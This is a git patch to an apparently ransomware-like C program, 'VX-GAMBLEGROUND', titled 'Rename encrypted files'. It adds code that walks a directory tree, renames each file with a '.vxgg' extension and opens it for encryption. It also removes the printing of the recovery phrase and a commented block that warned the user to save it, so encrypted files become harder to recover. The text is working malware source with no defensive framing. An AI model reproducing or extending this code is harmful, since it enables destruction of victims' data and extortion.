From 7129f43cff2937a83419f61dc82932c1a2d817fa Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sun, 1 Sep 2024 18:43:32 -0500 Subject: Rename encrypted files --- src/VX-GAMBLEGROUND.c | 72 +++++++++++++++++++-------------------------------- src/search.c | 2 -- 2 files changed, 27 insertions(+), 47 deletions(-) diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 454529d..4afa8cd 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c @@ -34,6 +34,7 @@ #include #include +#include const char *argp_program_version = "Alpha-0.1"; const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; @@ -89,8 +90,6 @@ int genphrase(char *phrase, size_t phrasesize) { phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A'; phrase[phrasesize] = '\0'; - printf("Recovery Phrase: %s\n", phrase); - return 0; } @@ -158,13 +157,38 @@ int doslots_twrapper(void *passed) { int scanundencrypt(void *passed) { struct sande *p = (struct sande *)passed; + + int err = REG_NOERROR; + regex_t encext; + if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) { + endwin(); + error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err); + } + p->scanned = scanfiles(p->STARTPATH, p->cmp); if(p->scanned == NULL) error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); int fd = -1; for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { - fd = open(p2->fullpath, O_RDWR); + // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash + if(p2->fullpath == NULL) + continue; + + if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH) + continue; + + + char *newname = NULL; + if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) { + endwin(); + error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname"); + } + rename(p2->fullpath, newname); + + + fd = open(newname, O_RDWR); + free(newname); if(fd < 0) continue; @@ -209,50 +233,8 @@ int main(int argc, char *argv[]) { if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); - // if(args.inputpass != NULL) { - // printf("Using input passphrase \"%s\"\n", args.inputpass); - // } else { - // char phrase[PHRASESIZE]; - // genphrase(phrase, PHRASESIZE); - - // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); - - // if(args.flags & SKIPSLOTS != 0) { - // printf("Hit Enter to contine, or CTRL+C to cancel..."); - // getchar(); - // } - // } - - /* Get files - struct nodelist *files = scanfiles("./", alphasort); - - // Encrypt those files - for(struct nodelist *p = files; p != NULL; p = p->next) { - int fd = open(p->fullpath, O_RDWR); - if(fd < 0) { - error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); - continue; - } - - passencblock(fd, phrase); - close(fd); - } - - nodelist_delete(files); - //*/ - thrd_join(slots, NULL); thrd_join(filescan, NULL); - /* The perfectionist in me wants to deal with the producer/consumer problem and have 3 threads running: - // One for the slots, one for grabbing new files, and another for encrypting files. As of now, I do not - // care enough to bother with doing this and instead just wrote a "wrapper" for the filescan and encrypt - // functions. Maybe after a month break or so I might come back and improve this whole thing - // (it's a massive piece of shit in multiple places lol) */ - - for(struct nodelist *p = files; p != NULL; p = p->next) { - printf("%s\n", p->fullpath); - } - return 0; } \ No newline at end of file diff --git a/src/search.c b/src/search.c index c3b6d54..a790528 100644 --- a/src/search.c +++ b/src/search.c @@ -130,8 +130,6 @@ struct nodelist* scanfiles(const char *STARTPATH, int (*cmp)(const struct dirent files->fullpath = realpath(nodes[i]->d_name, NULL); - printf("%s\n", files->fullpath); - files->next = nodelist_init(NULL); files = files->next; } -- cgit v1.2.3